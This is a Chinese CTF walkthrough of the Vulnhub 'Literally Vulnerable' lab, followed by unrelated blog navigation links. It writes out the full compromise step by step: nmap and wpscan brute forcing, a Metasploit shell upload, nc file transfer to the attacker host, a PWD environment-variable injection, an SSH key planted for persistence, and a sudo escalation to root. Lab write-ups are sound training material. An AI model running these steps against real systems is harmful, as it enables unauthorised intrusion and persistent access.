【Vulnhub】Literally Vulnerable
首先 nmap 扫描端口
nmap -p- -A 192.168.149.179
有个 ftp 可以匿名登录
下下来看一下
去扫一下
http://192.168.149.179:65535/
扫出来一个 phpcms
这里有个验证密码才能看的,用之前 ftp 保存下来的密码试一下
wpscan --url http://192.168.149.179:65535/phpcms/ --enumerate
收集一下用户名
wpscan --url http://192.168.149.179:65535/phpcms/ -U user.txt -P pass.txt
爆破一下账号密码
Username: maybeadmin
Password: $EPid%J2L9LufO5
然后登录后台看一下,可以找到另一组账号密码
notadmin:Pa$$w0rd13!&
然后用 msf 连接一下
exploit/unix/webapp/wp_admin_shell_upload
设置以下参数
notadmin
Pa$$w0rd13!&
192.168.149.179
65535
/phpcms
python3 -c 'import pty; pty.spawn("/bin/bash")'
在 /home/doe目录下有一个 itseasy 文件,执行会返回当前路径
wsl:nc -lvp 10001 >itseasy
靶机:nc 192.168.149.1 10001 <itseasy
把这个文件给弄出来,IDA 打开看一下
C 库函数 char *getenv(const char *name) 搜索 name 所指向的环境字符串,并返回相关的值给字符串,在这里就是 PWD 所指向的,我们可以改一下,从而获得一个 shell
实际上是请求了 PWD(一个 web 靶机,用上了 IDA 我是没想到的)
export PWD=$(/bin/bash)
然后再执行那个文件就能拿到 john 用户的 shell
现在有个问题是 ls,cat 之类的是不回显的,所以考虑一下把 ssh 的 authorized_keys 写成 wsl 的公钥,用 ssh 登上去(john 用户还没有 .ssh 文件夹,新建一个)
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyab46KTnUD6PBqNHweAB+SfDl36waT1RpkBUB3rcmP7QhRk4EOh0yShEmGCA2fev/A/9BY2LP2nd4EplGNYn14OgHONtXH74fSCqf0QZGMexQ9BkV5pHOTW+nGapxeaUTzyEkQQvDLnLm05Oqx6F9d5pfHIrbfQLBK7J0zY1BpkflT3I8pBzEdzLCWoG4Z62WGKQ0Q0ldm9NkRoEbZSOUxneazHiVa89mORtdtHXRr3nseLOyN17rJh6c2CF8ZtlLHIp12GOl0A6qm0eFW4KSJJvZCdxhX/p83hfCclFw7dckX1n+Q45GjuUF/ZE8IXmKRkwNDxOZalSgFjyYX+RlMr95Ruv8IaMk8tv5+Ut04cquKUgCn/9ksLRyL7+fJFok1EEupo4ZjTx3DlBNdkSch3IPT1XVgZeapqUik7jt5DgeGmGKBF93kE9pLO+2+3l1KntdeZ3abJHXDWzX6/mqRNtvMzdVik0jQGOjnGz1Yck0z9w8BK8BGtZ+917Kvns= 1097179511@qq.com" > authorized_keys
登录成功,舒服了
另外他还藏了个密码,base64解码之后是:john:YZW$s8Y49IB#ZZJ
这时候 sudo -l 可以发现有个文件是可以不需要密码就能 sudo运行的
文件夹只有 www-data 账户可以写入,所以还是要回到 www-data 的 shell,写个 /bin/sh,然后 sudo 一执行就能拿到 root 权限的 shell
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 第4天:美团点评2020校招测试方向笔试试卷分析
- Element-UI饿了么时间组件控件按月份周日期,开始时间结束时间范围限制参数
- 微信小程序flex布局
- 细数 TS 中那些奇怪的符号
- 安装RabbitMQ无法访问localhost:15672的管理界面解决
- koa中http服务与websocket服务共享端口
- 第23天:NLP实战(七)——中文新闻主题分类
- Swoole v4.5.3 版本发布
- .NET5.0 单文件发布打包操作深度剖析
- 使用ng-container标签在SAP Spartacus里插入UI
- 自定义SAP Spartacus Cart界面
- 还是只使用console.log()进行调试?好吧,其实还有更多。
- SNMP++: Transport is not supported
- Codeforces Round #666 (Div. 2) A-D
- 深度剖析前端JavaScript中的原型(JS的对象原型)